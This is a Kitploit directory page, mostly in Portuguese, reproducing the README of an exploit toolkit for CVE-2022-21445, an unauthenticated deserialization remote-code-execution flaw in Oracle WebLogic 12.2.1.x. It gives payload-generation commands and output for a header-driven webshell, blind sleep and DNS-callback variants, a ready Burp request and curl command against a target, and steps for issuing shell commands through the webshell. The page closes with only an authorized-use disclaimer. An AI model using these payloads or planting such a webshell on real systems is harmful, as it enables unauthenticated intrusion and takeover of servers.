Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-21445 — Exploit para CVE-2022-21445 do Oracle Weblogic 12.2.1.X | Kitploit
Ferramentas/GitHubGitHub/necr00/cve-2022-21445
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnecr00/cve-2022-21445

CVE-2022-21445

Exploit para CVE-2022-21445 do Oracle Weblogic 12.2.1.X

Ver Repositório
51há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-21445 Exploit - PoC

This toolkit generates exploit payloads for CVE-2022-21445, a critical Java deserialization vulnerability affecting Oracle WebLogic Server 12.2.1.x running Oracle ADF Faces.

The flaw exists in the RemoteApplicationResourceLoader component and allows an attacker to send a specially crafted HTTP GET request that triggers unsafe deserialization. Successful exploitation can lead to unauthenticated Remote Code Execution (RCE) on the target server.

Pré-requisitos

Baixar ferramenta
RequisitoVersãoFinalidade
Python3.6+Executar o script do exploit
JDK1.8 (8u202 recomendado)Compilar e executar o gerador de payload Java
Weblogic12.2.1.XVersões vulneráveis

Guia de Configuração

Instalar JDK 1.8

O payload deve ser compilado com JDK 1.8 para corresponder ao runtime Java do alvo.

root@kitploit:~
# Use SDKMAN:
sdk install java 8.0.402-tem

# Select the java 8
sudo update-alternatives --config java
root@kitploit:~
java -version    # Should show 1.8.x
javac -version   # Should show 1.8.x

Uso

Gerar um Payload Webshell

Cria um payload que lê comandos do cabeçalho HTTP cmd e retorna a saída no corpo da resposta.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell

Saída:

root@kitploit:~
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...

======================================================================
  PAYLOAD GENERATED SUCCESSFULLY
======================================================================

[*] Payload type: webshell
[*] Payload length: 2156 characters

──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...

──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close

──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"

Gerar um Payload Sleep (Cego)

Para testes cegos — confirma a execução de código se a resposta for atrasada.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10

Envie o payload e meça o tempo de resposta:

  • ~10 segundos: Execução de código confirmada
  • Instantâneo (< 1s): Payload não está executando (incompatibilidade de versão, corrigido ou problema de codificação)

Gerar um Payload de Callback DNS

Para confirmação fora de banda usando Burp Collaborator ou similar.

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type dns \
    --dns-host cve-21445.abc123.oastify.com

Especificando um Alvo

Use --target para obter saída formatada com o host e o caminho de contexto corretos:

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --target http://10.0.0.50:8002/test

Isso formata a requisição do Burp e o comando curl com o host e o caminho corretos:

root@kitploit:~
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami

Salvar Payload em Arquivo

root@kitploit:~
python3 exploit.py --version 12.2.1.4 --type webshell \
    --output payload.txt

Enviando o Exploit

Usando o Burp Suite

  1. Execute o script para gerar o payload
  2. Copie a seção BURP REPEATER REQUEST da saída
  3. Abra o Burp Suite → Repeater → Cole a requisição
  4. Defina o host e a porta do alvo
  5. Clique em Send
  6. Para o webshell: altere o valor do cabeçalho cmd para executar comandos diferentes imagem

Solução de Problemas

Em caso de arquivos JAR corrompidos, siga as instruções para instalar a versão desejada do Weblogic e extrair os JARs relevantes.

Isso extrai os JARs Oracle necessários da imagem Docker oficial do FMW Infrastructure.

root@kitploit:~
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3

# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)

# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0

# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar

docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar

Nota: O JAR javax.mail (necessário para codificação MIME base64) é baixado automaticamente do Maven Central na primeira execução. Nenhuma configuração manual é necessária. O payload webshell usa reflexão pura e não precisa de weblogic.jar em tempo de compilação.


Aviso Legal

Esta ferramenta destina-se somente a testes de segurança autorizados. Sempre obtenha permissão por escrito antes de testar sistemas que você não possui. Os autores não são responsáveis por qualquer uso indevido. O acesso não autorizado a sistemas de computadores é ilegal.


Referências

  • Advisory de Atualização Crítica da Oracle - Abril de 2022
  • CVE-2022-21445 - NVD
  • hienkiet/CVE-2022-21445-for-12.2.1.3.0-Weblogic